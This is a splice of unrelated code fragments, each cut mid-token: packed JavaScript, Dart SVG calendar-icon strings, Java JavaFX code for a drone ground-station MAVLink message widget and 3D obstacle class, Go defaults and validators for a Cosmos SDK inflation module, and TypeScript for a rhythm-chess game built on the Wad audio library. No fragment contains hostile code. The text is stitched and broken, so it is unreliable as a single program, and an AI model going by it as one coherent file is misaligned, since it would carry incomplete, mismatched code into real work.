4=$1.2.7(3);$1.8.3u(l,4,h,b,1D,10,1C,1B)};$1.2.3t=5(l,h,F,Z,3){6 4=$1.2.7(3);$1.8.3s(l,4,h,F,Z)};$1.2.3r=5(9,g,Y,u,3){6 4=$1.2.7(


2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2v-2Zm10-2a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2h-2Z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M0 0h48v48H0V0Zm35 42a7 7 0 001-13.93V12a3 3 0 00-3-3h-3v3a1 1 0 11-2 0V7a1 1 0 10-2 0v2H16v3a1 1 0 11-2 0V7a1 1 0 10-2 0v2H9a3 3 0 00-3 3v24a3 3 0 003 3h20.255A6.992 6.992 0 0035 42Z" clip-rule="evenodd"/></g></svg>';
  static const String i_schedule_school_date_time_outline =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="48" height="48" preserveAspectRatio="xMidYMid meet" viewBox="0 0 48 48"><g fill="currentColor"><path fill-rule="evenodd" d="M35 40a5 5 0 100-10 5 5 0 000 10Zm0 2a7 7 0 100-14 7 7 0 000 14Z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M35 31.5a1 1 0 011 1v2.086l.707.707a1 1 0 01-1.414 1.414L34 35.414V32.5a1 1 0 011-1ZM14 23h-2v2h2v-2Zm-2-2a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2h-2Zm10 2h-2v2h2v-2Zm-2-2a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2h-2Zm10 2h-2v2h2v-2Zm-2-2a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2h-2ZM14 31h-2v2h2v-2Zm-2-2a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2h-2Zm10 2h-2v2h2v-2Zm-2-2a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2h-2Z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M8 12a1 1 0 011-1h5V9H9a3 3 0 00-3 3v24a3 3 0 003 3h20.255a6.972 6.972 0 01-.965-2H9a1 1 0 01-1-1V12Zm26 16.07a7.062 7.062 0 012 0V12a3 3 0 00-3-3h-3v2h3a1 1 0 011 1v16.07ZM16 11h10.563V9H16v2Z" clip-rule="evenodd"/><path fill-rule="evenodd" d="M36 18H8v-2h28v2Z" clip-rule="evenodd"/><path d="M12 7a1 1 0 112 0v5a1 1 0 11-2 0V7Zm14 0a1 1 0 112 0v5a1 1 0 11-2 0V7


Property().bind(state.getConnectedProperty().not().and(state.getReplayingProperty().not()));
		this.disabledProperty().addListener((v,ov,nv) -> {
			if(!nv.booleanValue())
				task.start();
			else
				task.stop();
		});
	}

	public void setup(IMAVController control) {
		ChartControlPane.addChart(6,this);
		setVisible(false);
		replay.addListener((v, ov, nv) -> {
			Platform.runLater(() -> {
				if(nv.intValue()<=1) {
					message = dataService.getModelList().get(1).msg;
				} else
					message = dataService.getModelList().get(nv.intValue()).msg;
			});
		});

		control.addMAVLinkListener(new IMAVLinkListener() {
			@Override
			public void received(Object o) {
				if(o instanceof msg_statustext && !isDisabled()) {
					msg_statustext msg = (msg_statustext) o;
					String s = (new String(msg.text));
					if(!s.contains("/t")) {
						message = new LogMessage();
						message.text = s.trim();
						message.severity = msg.severity;
					}
				}
			}
		});

		control.addMAVLinkListener((o) -> {
			if(o instanceof msg_event) {
				msg_event msg = (msg_event)o;
				if((msg.log_levels >> 4 & 0x0F) < MAV_SEVERITY.MAV_SEVERITY_DEBUG) {
					message = new LogMessage();
					message.text = eventMetaData.buildMessageFromMAVLink(msg).trim();
					message.severity = (msg.log_levels >> 4 & 0x0F);
				}
			}
		});

	}

	@Override
	public IntegerProperty getTimeFrameProperty() {
		return null;
	}

	@Override
	public FloatProperty getScrollProperty() {
		return null;
	}

	@Override
	public FloatProperty getReplayProperty() {
		return replay;
	}

	@Override
	public BooleanProperty getIsScrollingProperty() {
		return null;
	}

	@Override
	public void refreshChart() {

	}

	@Override
	public KeyFigurePreset getKeyFigureSelection() {

		return null;
	}

	@Override
	public void setKeyFigureSelection(KeyFigurePreset preset) {

	}

}
package com.comino.flight.ui.widgets.view3D.objects;

import com.comino.flight.model.AnalysisDataModel;
import com.comino.flight.ui.widgets.view3D.utils.Xform;
import com.comino.mavcom.model.segment.Status;
import com.comino.mavcom.utils.MSP3DUtils;

import georegression.struct.point.Point3D_F32;
import georegression.struct.point.Point3D_F64;
import javafx.scene.paint.Color;
import javafx.scene.paint.PhongMaterial;
import javafx.scene.shape.Box;
import javafx.scene.shape.Sphere;

public class Obstacle extends Xform {

	private final Box           obstacle = new Box();
	private final VehicleModel  vehicle;
	private final PhongMaterial boundary_no_collision = new PhongMaterial();
	private final PhongMaterial boundary_collision    = new PhongMaterial();
	private final Point3D_F64   o = new Point3D_F64();
	private final Point3D_F64   s = new Point3D_F64();

	private boolean show = false;

	public Obstacle(VehicleModel vehicle) {
		super();

		this.vehicle = vehicle;

		boundary_no_collision.setDiffuseColor(Color.web("rgba( 50,50,50,0.9 )"));
		boun


/LICENSE

package types

import (
	"errors"
	"fmt"
	"strings"

	"cosmossdk.io/math"
	sdk "github.com/cosmos/cosmos-sdk/types"
	evm "github.com/hetu-project/hetu/v1/x/evm/types"
)

var ParamsKey = []byte("Params")

var (
	DefaultInflationDenom         = evm.DefaultEVMDenom
	DefaultInflation              = true
	DefaultExponentialCalculation = ExponentialCalculation{
		A:             math.LegacyNewDec(int64(300_000_000)),
		R:             math.LegacyNewDecWithPrec(50, 2), // 50%
		C:             math.LegacyNewDec(int64(9_375_000)),
		BondingTarget: math.LegacyNewDecWithPrec(66, 2), // 66%
		MaxVariance:   math.LegacyZeroDec(),             // 0%
	}
	DefaultInflationDistribution = InflationDistribution{
		StakingRewards:  math.LegacyNewDecWithPrec(533333334, 9), // 0.53 = 40% / (1 - 25%)
		UsageIncentives: math.LegacyNewDecWithPrec(333333333, 9), // 0.33 = 25% / (1 - 25%)
		CommunityPool:   math.LegacyNewDecWithPrec(133333333, 9), // 0.13 = 10% / (1 - 25%)
	}
)

func NewParams(
	mintDenom string,
	exponentialCalculation ExponentialCalculation,
	inflationDistribution InflationDistribution,
	enableInflation bool,
) Params {
	return Params{
		MintDenom:              mintDenom,
		ExponentialCalculation: exponentialCalculation,
		InflationDistribution:  inflationDistribution,
		EnableInflation:        enableInflation,
	}
}

// default minting module parameters
func DefaultParams() Params {
	return Params{
		MintDenom:              DefaultInflationDenom,
		ExponentialCalculation: DefaultExponentialCalculation,
		InflationDistribution:  DefaultInflationDistribution,
		EnableInflation:        DefaultInflation,
	}
}

func validateMintDenom(i interface{}) error {
	v, ok := i.(string)
	if !ok {
		return fmt.Errorf("invalid parameter type: %T", i)
	}

	if strings.TrimSpace(v) == "" {
		return errors.New("mint denom cannot be blank")
	}

	return sdk.ValidateDenom(v)
}

func validateExponentialCalculation(i interface{}) error {
	v, ok := i.(ExponentialCalculation)
	if !ok {
		return fmt.Errorf("invalid parameter type: %T", i)
	}

	// validate initial value
	if v.A.IsNegative() {
		return fmt.Errorf("initial value cannot be negative")
	}

	// validate reduction factor
	if v.R.GT(math.LegacyNewDec(1)) {
		return fmt.Errorf("reduction factor cannot be greater than 1")
	}

	if v.R.IsNegative() {
		return fmt.Errorf("reduction factor cannot be negative")
	}

	// validate long term inflation
	if v.C.IsNegative() {
		return fmt.Errorf("long term inflation cannot be negative")
	}

	// validate bonded target
	if v.BondingTarget.GT(math.LegacyNewDec(1)) {
		return fmt.Errorf("bonded target cannot be greater than 1")
	}

	if !v.BondingTarget.IsPositive() {
		return fmt.Errorf("bonded target cannot be zero or negative")
	}

	// validate max variance
	if v.MaxVariance.IsNegative() {
		return fmt.Errorf("max variance cannot be negative")
	}

	return nil
}

func validateInflationDistribution(i interface{}) error {
	v, ok := i.(InflationDistribution)
	if !ok {
		return fmt.


",
});
// saw.play();
var sine = new Wad({ source: "sine" });
var square = new Wad({ source: "square" });
var triangle = new Wad({ source: "triangle" });

var tripleOscillator = new Wad.Poly({});

tripleOscillator.add(sine);
// tripleOscillator.add(square)
tripleOscillator.add(triangle);
tripleOscillator.add(saw);

const knock = (count: number) => {
  new Wad({
    source: "noise",
    env: {
      attack: 0.01,
      decay: 0.01,
      sustain: 0.1,
      hold: 0.05,
      release: 0.05,
    },
    filter: { type: "lowpass", frequency: 1000, q: 1 },
    volume: 1,
  }).play();
  const toneToPitch = {
    0: "C3",
    1: "C#3",
    2: "D3",
    3: "D#3",
    4: "E3",
    5: "F3",
    6: "F#3",
    7: "G3",
    8: "G#3",
    9: "A3",
    10: "A#3",
    11: "B3",
    12: "C4",
  };
  tripleOscillator.play({
    // @ts-ignore
    pitch: toneToPitch[count] ?? "C4",
    env: { attack: 0.1, decay: 0.1, sustain: 0.1, hold: 0.1, release: 0.1 },
    volume: 0.1,
  });
};

const crash = (count: number) => {
  new Wad({
    source: "noise",
    env: {
      attack: 0.01,
      decay: 0.01,
      sustain: 0.1,
      hold: 0.1,
      release: 0.1,
    },
    filter: { type: "highpass", frequency: 1000, q: 1 },
    volume: count,
  }).play();
};

// const clack = () => {
//     new Wad({
//         source: "noise",
//         env: {
//             attack: 0.01,
//             decay: 0.01,
//             sustain: 0.1,
//             hold: 0.05,
//             release: 0.05
//         },
//         filter: { type: "lowpass", frequency: 1000, q: 1 },
//         volume: 1
//     }).play()
// }

const newBoard = () => {
  return [
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
    [null, null, null, null, null, null, null, null],
  ];
};

export default class GameRunner {
  static size: number = 8;
  static maxMatches: number = 5;

  /** Internal game clock */
  bpm: number = 125;
  measure: 0 | 1 | 2 | 3 = 0;
  beat: 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 = 0;
  clock: NodeJS.Timer | number | null = null;

  player: "black" | "white";
  gameBoard: Array<Array<null | Piece>>;
  gameMode: "purchase" | "move" | "gloat";

  // Normal chess starts with 43 in piece value
  cash: { black: number; white: number } = { black: 60, white: 60 };
  wins: Array<"black" | "white" | "tie"> = [];

  // How many MS, total, does THIS GameRunnerInstance need to catchup/slowdown in order to sync with the OTHER GameRunnerInstance
  moveMeasureCatchup: number = 0;

  constructor(setupOptions: { player: "black" | "white" }) {
    th